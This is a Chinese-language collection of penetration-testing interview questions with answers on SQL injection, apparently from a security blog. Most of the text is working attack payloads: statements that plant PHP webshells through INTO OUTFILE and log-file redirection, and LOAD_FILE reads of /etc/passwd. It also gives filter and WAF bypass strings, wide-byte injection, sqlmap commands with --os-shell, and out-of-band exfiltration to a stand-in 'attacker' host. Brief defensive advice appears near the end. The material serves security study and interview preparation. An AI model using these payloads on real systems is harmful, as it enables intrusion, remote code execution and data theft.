2025年渗透测试面试题总结-02(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
SQLi
一、获取Webshell的多种思路(针对test.jsp?cid=150 )
二、变形注入绕过技巧
三、MySQL写入一句话的条件
四、MySQL 5.0+与5.0-注入差异
五、SQLMap实战注入方法
六、SQL注入Bypass技巧
七、SQL注入全解析
八、宽字节注入原理与利用
九、SQL注入检测方法
SQLi
发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell? 以下链接存在 SQL注入漏洞,对于这个变形注入,你有什么思路? mysql注入点,用工具对目标站直接写入一句话,需要哪些条件? Mysql的网站注入,5.0以上和5.0以下有什么区别? sqlmap如何对一个注入点注入,sqlmap如何注入一个post的包? 你都了解哪些SQL注入的bypass技巧? 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案? 如何判断SQL注入,有哪些方法,说说你最常用的?
一、获取Webshell的多种思路(针对
test.jsp?cid=150
)
直接写入Webshell
sql
?cid=150'; SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--+
条件:
- MySQL用户需具备
FILE
权限- 已知Web绝对路径(可通过
@@datadir
推测)secure_file_priv
未限制写入目录日志文件篡改
sql
?cid=150'; SET global general_log_file='/var/www/html/log.php'; SET global general_log=on; SELECT '<?php system($_GET[cmd]);?>';--+
原理:将SQL日志写入Web目录并包含恶意代码。
UNION注入读取敏感文件
sql
?cid=-150 UNION SELECT LOAD_FILE('/etc/passwd'),2,3--+
目的:获取配置文件(如
/etc/apache2/sites-enabled/000-default.conf
)定位Web路径。
二、变形注入绕过技巧
变形类型 绕过方案 Payload示例 Base64编码 嵌套解码函数 ?id=MQ==' UNION SELECT 1,2,3 FROM users WHERE '1'='1
→ 后端解码后执行JSON包装 闭合JSON结构 {"id":"1' AND 1=2 UNION SELECT @@version,2-- "}
特殊字符过滤 等价函数替换 SELSELECTECT
→ 双写绕过(过滤SELECT
)
三、MySQL写入一句话的条件
- 核心权限:
SHOW VARIABLES LIKE 'secure_file_priv'
值为空或目标路径SELECT File_priv FROM mysql.user WHERE user='当前用户'
=Y
- 路径要求:
- 通过报错/配置文件泄露获取Web绝对路径
- 目录需有写权限(Linux:
www-data
用户权限)- 语句构造:
sql
UNION SELECT "<?php system($_GET['cmd']);?>",2,3 INTO OUTFILE '/var/www/shell.php'--+
四、MySQL 5.0+与5.0-注入差异
特性 5.0以下 5.0以上 信息获取 暴力猜解表名/列名 直接查询 information_schema
Payload复杂度 需盲注或基于错误 可UNION联合查询 函数支持 无 group_concat()
等函数支持丰富函数
五、SQLMap实战注入方法
GET型注入:
bash
sqlmap -u "http://target.com/test.jsp?cid=150" --batch --dbs
POST型注入:
- 保存请求包为
post.txt
:http
POST /login.jsp HTTP/1.1 ... username=admin&password=123
- 执行:
bash
sqlmap -r post.txt -p "username" --os-shell
六、SQL注入Bypass技巧
防御方式 绕过方案 案例 关键字过滤 大小写混合/URL编码 UnIoN
→%55%6E%69%6F%6E
WAF规则 分块传输/注释混淆 /*!50000SELECT*/
(MySQL特性)参数类型 数组参数污染 ?id=1&id=2 UNION SELECT 1,2,3--
七、SQL注入全解析
漏洞成因:
用户输入未过滤直接拼接到SQL语句(如:"SELECT * FROM users WHERE id=" + input
)。防御方案:
- 参数化查询:
PreparedStatement
绑定参数- 最小权限原则:数据库账户禁用
FILE
/EXECUTE
权限- WAF规则:过滤
UNION
、SELECT
等关键字注入方式:
- 报错注入:
?id=1' AND updatexml(1,concat(0x7e,@@version),1)--
- 布尔盲注:
?id=1' AND SUBSTRING(@@version,1,1)='5'--
- 时间盲注:
?id=1' AND IF(1=1,SLEEP(5),0)--
进阶利用:
- 读取文件:
UNION SELECT LOAD_FILE('/etc/passwd'),1,1
- SSRF攻击:
?id=1'; SELECT LOAD_FILE('\\\\attacker\\share')--
八、宽字节注入原理与利用
原理:
GBK等编码中,%df%27
→%df
+'
(0x27
)被解析为汉字“運”(0xdf5c
),使单引号逃逸。Payload构造:
sql
?cid=150%df%27 AND 1=2 UNION SELECT 1,@@version,3--+
修复方案:
- 统一使用UTF-8编码
- 过滤前执行
mysql_set_charset('utf8')
九、SQL注入检测方法
- 经典报错法:
sql
?id=150' # 观察是否返回数据库错误信息
- 布尔逻辑法:
sql
?id=150 AND 1=1 # 正常显示 ?id=150 AND 1=2 # 内容消失
- 时间延迟法(最隐蔽):
sql
?id=150' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--+
- 工具扫描法:
bash
sqlmap -u "url" --level=3 --risk=3
实战经验提示:
- MySQL 5.0+优先利用
information_schema
快速获取表结构- 写入Webshell时尝试多路径(如
/tmp/
、/var/www/html/
、/opt/
)- 遇WAF必用
--tamper
脚本(推荐charencode.py
、apostrophemask.py
)- 无写权限时转向SMB中继攻击或DNS带外数据泄露(
LOAD_FILE('\\\\attacker\\test')
)